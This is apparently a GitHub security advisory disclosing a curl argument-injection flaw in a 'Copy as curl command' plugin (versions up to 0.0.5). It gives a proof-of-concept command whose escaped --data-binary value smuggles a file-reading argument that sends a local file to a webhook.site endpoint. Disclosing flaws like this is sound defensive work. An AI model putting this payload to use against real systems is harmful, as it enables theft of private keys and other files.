Skip to content

Arbitrary File Read by Copy as a Curl command

Critical
stealthcopter published GHSA-6p2v-wcv8-8j6w May 29, 2025

Package

No package listed

Affected versions

<=0.0.5

Patched versions

0.0.6

Description

Developers Note: This vulnerability affected a pre-release version (0.0.5) and while it's unlikely to be exploited I'd like to share it as it's pretty fun 🥳 Thank you to @Sim4n6 for testing and reporting 🙏

Original Report Follows unedited:

Summary

Some characters are not being escaped as expected which may lead to curl arguments injection ...in turn can be exploited to leak sensitive files.

curl -x http://127.0.0.1:8080 -k $'https://webhook.site/2f079076-58df-41d9-90e9-d362e01727a0/testing/endpoint' -X $'POST' -H $'Host: webhook.site' -H $'User-Agent: python-requests/2.31.0' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Connection: keep-alive' -H $'Cookie: secret=155ee356-23a6-11f0-af46-678665dcd42c' -H $'X-Forwarded-For: 127.0.0.1' -H $'Content-Length: 66' -H $'Content-Type: application/x-www-form-urlencoded' --data-binary $'action=delete&csrf=7e5dbebc12&aaaa\\\'%[email protected]%20-d\\\'da=ssss'

the command would be proxy a simple POST request when copied with the plugin it leaks the content of a file named sim4n6.txt.

PoC

https://youtu.be/m8lDrcUpNkQ

Impact

Arbitrary file read not very arbitrary though more .ssh private keys oriented

References

https://portswigger.net/research/the-curl-quirk-that-exposed-burp-suite-amp-google-chrome

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Credits